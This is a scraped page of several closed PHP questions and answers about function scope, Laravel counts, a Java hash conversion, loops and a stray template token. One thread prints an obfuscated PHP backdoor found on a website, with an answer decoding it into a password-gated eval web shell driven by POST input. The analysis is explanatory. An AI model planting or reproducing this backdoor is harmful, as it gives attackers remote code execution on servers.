Php Calculating two functions [closed] - php

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
I am writing a program in which I want to plus two functions together and in the end I want to calculate the total. if anyone can help with this it will be appreciated.
const PRICE_OF_Big_Mac = 2.50;
public $Big_Mac = 0;
public function calculate_dinein_price(){
$dine = 0.00;
$dine += $this->Big_Mac * self::PRICE_OF_Big_Mac;
return $dine;
}
public function calculate_dinein_total(){
$total_dine = 0.00;
$total_dine = $total_dine + $dine;
return $total_dine;
}
but this doesn't work.

You can't access $dine in your second function because it's nowhere defined. The $dine from your first function is only a local variable.
I would suggest this solution which uses the fact that calculate_dinein_price() also returns the value of $dine:
public function calculate_dinein_total(){
$total_dine = 0.00;
$total_dine = $total_dine + $this->calculate_dinein_price();
return $total_dine;
}

Related

Count rows with model::count laravel [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed last year.
Improve this question
I am trying to count the records in the table, but it's showing me nothing in the response, I am working on an API, can anybody help please ?
public function devicesCount()
{
$x = Device::count();
if ($x) {
return ['devices' => $x];
} else {
return ['message' => 'ranii karrezt ydyyyyyyk'];
}
}
use $x = Device::all()->count(); in place of $x = Device::count();
or use Laravel Aggregates like
$count = DB::table('devices')->count();

Covert the JAVA function to PHP [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
Below is the java function. I want to this function on php.
public static String getPassword(String spId, String password, String timestamp)
{
try {
String dgStr = spId + password + timestamp;
byte[] enc = MessageDigest.getInstance("SHA-256").digest(dgStr.getBytes());
return new String(Base64.encodeBase64(new String(Hex.encodeHex(enc)).toUpperCase().getBytes()));
} catch (NoSuchAlgorithmException ex) {
ex.printStackTrace();
}
return "";
}
Already i have used a code see below,
base64_encode(hash_hmac("sha256", $spPassword, true));
Is it valid? If not then please suggest me.
The exact conversion of your Java function is:
function makeHash($spID,$password)
{
$timestamp = time();
return hash('sha256',$spID.$password.$timestamp);
}
Use it like:
echo makeHash(12,'password123');

Foreach loop php conversion [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 6 years ago.
Improve this question
I execute on my main page some php code which includes :
foreach ($fbdata->feed->data as $fbpost)
{
...
}
How can we convert this , into a loop that goes from (i to z)(0 to 10) ?
Simple for loop
for($i = 0; $i < 10; $i++) {
$fbpost = $fbdata->feed->data[$i];
...
}
or if you like to use the as, try using a foreach but slicing the array before using it
$fbPosts = array_slice($fbdata->feed->data, 0, 10);
foreach($fbPosts as $fbpost) {
...
}

Php Function Variable - Malware File [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
Just a quick question....
I found a malicious file on a site (since removed) but I'm wondering what it's doing. Below is the code, any insight would be greatly appreciated.
function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"#$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} #_g1qm0();
}
This code is not complete but from what I've decoded it is:
$log = 'prt';
if (!isset($_SESSION)) {
session_start();
}
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {
if (isset($_POST['mtq'])) {
$pt = base64_decode($_POST['mtq']);
eval($pt);
exit;
}
}
if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) {
$_SESSION['log'] = $log; exit;
}
So in simple words it looks from mtq param from POST request and executes it in shell. Data comes in base64 encoded format. It also stores one variable in session on key log
Also
$_myfunc2 = "\x63\x68\x72"; it is decoded to chr which is function in PHP that returns character based on ASCII code.
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
looks like md5 hash but I'm not sure
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
It is $_g1qm3 is strrev function
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
It is base64_decode()
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
It's preg_replace()
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")
It's eval()

__ in php, what does it do? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I'm trying to add tinymce to the category block in Prestashop. (1.4.7.3)
I found following snippet which should do the trick, but I get some errors.
<?php
class Category extends CategoryCore
{
public function getTranslationsFieldsChild() {
self::validateFieldsLang();
$fieldsArray = array('name', 'link_rewrite', 'meta_title', 'meta_keywords', 'meta_description');
$fields = array();
$languages = Language::getLanguages();
$defaultLanguage = Configuration::get('PS_LANG_DEFAULT');
foreach ($languages as $language)
{
$fields[$language['id_lang']]['id_lang'] = $language['id_lang'];
$fields[$language['id_lang']][$this->identifier] = intval($this->id);
$fields[$language['id_lang']]['description'] = (isset($this->description[$language['id_lang']])) ? Tools::htmlentitiesDecodeUTF8(pSQL($this->description[$language['id_lang']], true)) : '';
foreach ($fieldsArray as $field)
{
if (!Validate::isTableOrIdentifier($field))
die(Tools::displayError());
__regexoperators___ /*Check fields validity */
if (isset($this->{$field}[$language['id_lang']]) AND !empty($this->{$field}[$language['id_lang']]))
$fields[$language['id_lang']][$field] = pSQL($this->{$field}[$language['id_lang']]);
elseif (in_array($field, $this->fieldsRequiredLang))
$fields[$language['id_lang']][$field] = pSQL($this->{$field}[$defaultLanguage]);
else
$fields[$language['id_lang']][$field] = '';
}
}
return $fields;
}
}
I was wondering what the
__regexoperators___
does exactly.
Is it possible that my version of php doesn't know what to do with the "__ "?
Could I replace the "__" with a function call?
thanks in advance
It doesn't do anything in this case. It's just a byproduct of using the jQuery Litelighter plugin to highlight snippets of code on the blog post you've copy/pasted that code from.
If you're going to search the same code snippet in the HTML source, i.e. without syntax highlighting, you'll see that __regexoperators___ doesn't appear there.
Taking a look at the jQuery Litelighter plugin source code will also show that they're using underscore separated markers for their parsing.

Categories